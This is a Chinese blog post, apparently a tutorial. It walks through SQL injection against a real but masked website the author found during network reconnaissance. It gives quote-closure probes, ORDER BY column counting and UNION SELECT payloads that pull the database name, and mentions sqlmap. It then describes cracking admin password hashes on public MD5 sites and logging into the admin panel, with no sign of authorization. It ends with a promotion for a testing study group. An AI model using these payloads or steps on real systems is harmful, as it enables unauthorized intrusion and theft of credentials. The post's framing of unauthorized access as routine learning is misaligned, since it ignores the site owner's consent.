起因:
前几天在对某一个站点进行信息搜集的时候,在C段(同网段如192.168.1-255中所有ip)的信息里面发现了某一个站点,当时看见了:
url:http://www.xxx..com/class.php?id=104
忍不住加了一个单引号来测试是否存在注入漏洞。
加了单引号之后没有返回信息,果不其然,存在注入漏洞
既然来都来了,那就来一波手动fuzz,通过手动的方式获取敏感信息吧,正好可以和大家分享一下如何手动注入。
正常的报错注入流程一般都是:
先判断注入点、注入点闭合、列数判断、得到库信息、表信息、字段信息,最后再对字段信息进行解密可以得到管理员的账号和密码。
测试注入点
1. 首先是测试注入点在哪,这个是正常界面下返回的信息,一切正常
http://www.xxx..com/class.php?id=104
2. 常见的闭合方法测试
http://www.xxx..com/class.php?id=104’--+
http://www.xxx..com/class.php?id=104” --+
http://www.xxx..com/class.php?id=104’) --+
这些经过测试发现均返回错误页面,也就证明闭合失败,无法成功闭合
如果不想那么复杂的话,是不是好点?直接用order by语句判断列数
过程如下:
- http://www.xxx.com/list.php?id=104 order by 30 --+ 返回界面异常
- http://www.xxx.com/list.php?id=104 order by 15 --+ 返回界面正常
- http://www.xxx.com/list.php?id=104 order by 20 --+ 返回界面异常
- 。。。。
最后通过简单的二分法测试得到当order by 22 --+ 的时候返回是正常的,因此存在22列。
既然知道了存在22列,使用hackbar中的联合注入工具来判断报错注入可回显注入的点。
http://www.xxx.com/list.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 --+
判断出了16的位置是可以回显报错数据的,因此可以使用16这个位置来获取所需要的数据。
首先获取当前的数据库信息,获取到当前使用数据库名xxxw_cn
http://www.xxx.com/list.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,
15,database(),17,18,19,20,21,22 --+
接下来使用同样的手段去获得表和字段信息,在这里不再进行赘述。
sqlmap一把梭
不是所有的注入都是适合手动去做的,这里还是用sqlmap吧,一把梭。。。
首先是payload
获取库中的表信息
获取库中的表信息
获取表中的字段信息,获取字段信息之后将password在md5解密平台进行解密,常见的md5解密平台有
- https://cmd5.com/(需要注册,功能强大,难度较大的需要收费解密)
- https://www.somd5.com/(免费)
- https://pmd5.com/(免费)
后台的查找上,直接在域名后面加admin是无法跳转到后台的。
这里有一个小技巧,直接使用搜索引擎去搜索,针不戳,直接就找到了
直接使用用户的数据登录后台
由此可见网站安全的重要性,因为安全测试的不可或缺,相关岗位人才缺口达100多万。
掌握安全测试到底有什么用?这就意味着你简历投出去就会被各种大厂抢着要!
推荐一个软件测试学习交流群:785128166,群里有分享的视频,面试指导,测试资料,还有思维导图、群里有视频,都是干货的,你可以下载来看。主要分享测试基础、接口测试、性能测试、自动化测试、TestOps架构、Jmeter、LoadRunner、Fiddler、MySql、Linux、简历优化、面试技巧以及大型测试项目实战视频资料。合理利用自己每一分每一秒的时间来学习提升自己,不要再用"没有时间“来掩饰自己思想上的懒惰!趁年轻,使劲拼,给未来的自己一个交代!
公众号:程序员二黑, 关注后免费领取海量学习资料。
好东西要和朋友一起分享哦